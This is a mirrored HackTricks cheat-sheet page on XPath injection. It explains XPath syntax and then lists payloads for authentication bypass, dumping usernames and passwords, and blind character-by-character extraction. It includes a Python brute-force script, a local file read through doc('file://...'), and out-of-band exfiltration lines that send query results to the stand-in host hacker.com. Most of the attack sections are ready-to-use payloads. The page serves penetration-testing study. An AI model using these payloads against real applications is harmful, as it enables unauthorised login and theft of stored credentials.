mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
366 lines
13 KiB
Markdown
366 lines
13 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
XPath Injection is an attack technique used to exploit applications that construct XPath \(XML Path Language\) queries from user-supplied input to query or navigate XML documents.
|
|
|
|
Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
|
|
|
|
# **Basic Syntax**
|
|
|
|
## Nodes
|
|
|
|
| Expression | Description |
|
|
| :--- | :--- |
|
|
| nodename | Selects all nodes with the name "nodename" |
|
|
| / | Selects from the root node |
|
|
| // | Selects nodes in the document from the current node that match the selection no matter where they are |
|
|
| . | Selects the current node |
|
|
| .. | Selects the parent of the current node |
|
|
| @ | Selects attributes |
|
|
|
|
## **Examples:**
|
|
|
|
| Path Expression | Result |
|
|
| :--- | :--- |
|
|
| bookstore | Selects all nodes with the name "bookstore" |
|
|
| /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash \( / \) it always represents an absolute path to an element! |
|
|
| bookstore/book | Selects all book elements that are children of bookstore |
|
|
| //book | Selects all book elements no matter where they are in the document |
|
|
| bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
|
|
| //@lang | Selects all attributes that are named lang |
|
|
|
|
## Predicates
|
|
|
|
<table>
|
|
<thead>
|
|
<tr>
|
|
<th style="text-align:left">Path Expression</th>
|
|
<th style="text-align:left">Result</th>
|
|
</tr>
|
|
</thead>
|
|
<tbody>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[1]</td>
|
|
<td style="text-align:left">
|
|
<p>Selects the first book element that is the child of the bookstore element.<b>Note:</b> In
|
|
IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve
|
|
this problem in IE, set the SelectionLanguage to XPath:</p>
|
|
<p>In JavaScript: xml.setProperty("SelectionLanguage","XPath");</p>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[last()]</td>
|
|
<td style="text-align:left">Selects the last book element that is the child of the bookstore element</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[last()-1]</td>
|
|
<td style="text-align:left">Selects the last but one book element that is the child of the bookstore
|
|
element</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[position()<3]</td>
|
|
<td style="text-align:left">Selects the first two book elements that are children of the bookstore
|
|
element</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">//title[@lang]</td>
|
|
<td style="text-align:left">Selects all the title elements that have an attribute named lang</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">//title[@lang='en']</td>
|
|
<td style="text-align:left">Selects all the title elements that have a "lang" attribute
|
|
with a value of "en"</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[price>35.00]</td>
|
|
<td style="text-align:left">Selects all the book elements of the bookstore element that have a price
|
|
element with a value greater than 35.00</td>
|
|
</tr>
|
|
<tr>
|
|
<td style="text-align:left">/bookstore/book[price>35.00]/title</td>
|
|
<td style="text-align:left">Selects all the title elements of the book elements of the bookstore element
|
|
that have a price element with a value greater than 35.00</td>
|
|
</tr>
|
|
</tbody>
|
|
</table>
|
|
|
|
## Unknown Nodes
|
|
|
|
| Wildcard | Description |
|
|
| :--- | :--- |
|
|
| \* | Matches any element node |
|
|
| @\* | Matches any attribute node |
|
|
| node\(\) | Matches any node of any kind |
|
|
|
|
## **Examples:**
|
|
|
|
| Path Expression | Result |
|
|
| :--- | :--- |
|
|
| /bookstore/\* | Selects all the child element nodes of the bookstore element |
|
|
| //\* | Selects all elements in the document |
|
|
| //title\[@\*\] | Selects all title elements which have at least one attribute of any kind |
|
|
|
|
# Example
|
|
|
|
```markup
|
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<data>
|
|
<user>
|
|
<name>pepe</name>
|
|
<password>peponcio</password>
|
|
<account>admin</account>
|
|
</user>
|
|
<user>
|
|
<name>mark</name>
|
|
<password>m12345</password>
|
|
<account>regular</account>
|
|
</user>
|
|
<user>
|
|
<name>fino</name>
|
|
<password>fino2</password>
|
|
<account>regular</account>
|
|
</user>
|
|
</data>
|
|
```
|
|
|
|
## Access the information
|
|
|
|
```text
|
|
All names - [pepe, mark, fino]
|
|
name
|
|
//name
|
|
//name/node()
|
|
//name/child::node()
|
|
user/name
|
|
user//name
|
|
/user/name
|
|
//user/name
|
|
|
|
All values - [pepe, peponcio, admin, mark, ...]
|
|
//user/node()
|
|
//user/child::node()
|
|
|
|
|
|
Positions
|
|
//user[position()=1]/name #pepe
|
|
//user[last()-1]/name #mark
|
|
//user[position()=1]/child::node()[position()=2] #peponcio (password)
|
|
|
|
Functions
|
|
count(//user/node()) #3*3 = 9 (count all values)
|
|
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
|
|
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
|
|
```
|
|
|
|
## Identify & stealing the schema
|
|
|
|
```python
|
|
and count(/*) = 1 #root
|
|
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
|
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
|
|
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
|
|
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
|
|
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
|
|
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
|
|
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
|
|
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
|
|
|
|
#The previous solutions are the representation of a schema like the following
|
|
#(at this stage we don't know the name of the tags, but jus the schema)
|
|
<root>
|
|
<a>
|
|
<b></b>
|
|
</a>
|
|
<c>
|
|
<d></d>
|
|
<e></e>
|
|
<f>
|
|
<h></h>
|
|
</f>
|
|
</c>
|
|
</root>
|
|
|
|
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
|
|
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
|
|
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
|
|
|
|
#Stealing the schema via OOB
|
|
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
|
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
|
|
```
|
|
|
|
# Authentication Bypass
|
|
|
|
## **Example of queries:**
|
|
|
|
```text
|
|
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
|
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
|
```
|
|
|
|
## **OR bypass in user and password \(same value in both\)**
|
|
|
|
```text
|
|
' or '1'='1
|
|
" or "1"="1
|
|
' or ''='
|
|
" or ""="
|
|
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
|
|
|
|
Select account
|
|
Select the account using the username and use one of the previous values in the password field
|
|
```
|
|
|
|
## **Abusing null injection**
|
|
|
|
```text
|
|
Username: ' or 1]%00
|
|
```
|
|
|
|
## **Double OR in Username or in password** \(is valid with only 1 vulnerable field\)
|
|
|
|
IMPORTANT: Notice that the **"and" is the first operation made**.
|
|
|
|
```text
|
|
Bypass with first match
|
|
(This requests are also valid without spaces)
|
|
' or /* or '
|
|
' or "a" or '
|
|
' or 1 or '
|
|
' or true() or '
|
|
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
|
|
|
|
Select account
|
|
'or string-length(name(.))<10 or' #Select account with length(name)<10
|
|
'or contains(name,'adm') or' #Select first account having "adm" in the name
|
|
'or contains(.,'adm') or' #Select first account having "adm" in the current value
|
|
'or position()=2 or' #Select 2º account
|
|
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
|
|
|
|
Select account (name known)
|
|
admin' or '
|
|
admin' or '1'='2
|
|
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
|
```
|
|
|
|
# String extraction
|
|
|
|
The output contains strings and the user can manipulate the values to search:
|
|
|
|
```text
|
|
/user/username[contains(., '+VALUE+')]
|
|
```
|
|
|
|
```text
|
|
') or 1=1 or (' #Get all names
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
') or 2=1] | //user/node()[('')=(' #Get all values
|
|
')] | //./node()[('')=(' #Get all values
|
|
')] | //node()[('')=(' #Get all values
|
|
') or 1=1] | //user/password[('')=(' #Get all names and passwords
|
|
')] | //password%00 #All names and passwords (abusing null injection)
|
|
')]/../*[3][text()!=(' #All the passwords
|
|
')] | //user/*[1] | a[(' #The ID of all users
|
|
')] | //user/*[2] | a[(' #The name of all users
|
|
')] | //user/*[3] | a[(' #The password of all users
|
|
')] | //user/*[4] | a[(' #The account of all users
|
|
```
|
|
|
|
# Blind Explotation
|
|
|
|
## **Get length of a value and extract it by comparisons:**
|
|
|
|
```bash
|
|
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
|
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
|
|
|
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
|
|
|
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
|
|
```
|
|
|
|
## **Python Example**
|
|
|
|
```python
|
|
import requests, string
|
|
|
|
flag = ""
|
|
l = 0
|
|
alphabet = string.ascii_letters + string.digits + "{}_()"
|
|
for i in range(30):
|
|
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
|
|
if ("TRUE_COND" in r.text):
|
|
l = i
|
|
break
|
|
print("[+] Password length: " + str(l))
|
|
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
|
|
for al in alphabet:
|
|
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
|
|
if ("TRUE_COND" in r.text):
|
|
flag += al
|
|
print("[+] Flag: " + flag)
|
|
break
|
|
```
|
|
|
|
## Read file
|
|
|
|
```python
|
|
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
|
```
|
|
|
|
# OOB Exploitation
|
|
|
|
```python
|
|
doc(concat("http://hacker.com/oob/", RESULTS))
|
|
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
|
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
|
|
|
|
#Instead of doc() you can use the function doc-available
|
|
doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|
#the doc available will respond true or false depending if the doc exists,
|
|
#user not(doc-available(...)) to invert the result if you need to
|
|
```
|
|
|
|
## Automatic tool
|
|
|
|
{% embed url="https://xcat.readthedocs.io/" caption="" %}
|
|
|
|
# References
|
|
|
|
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection)
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|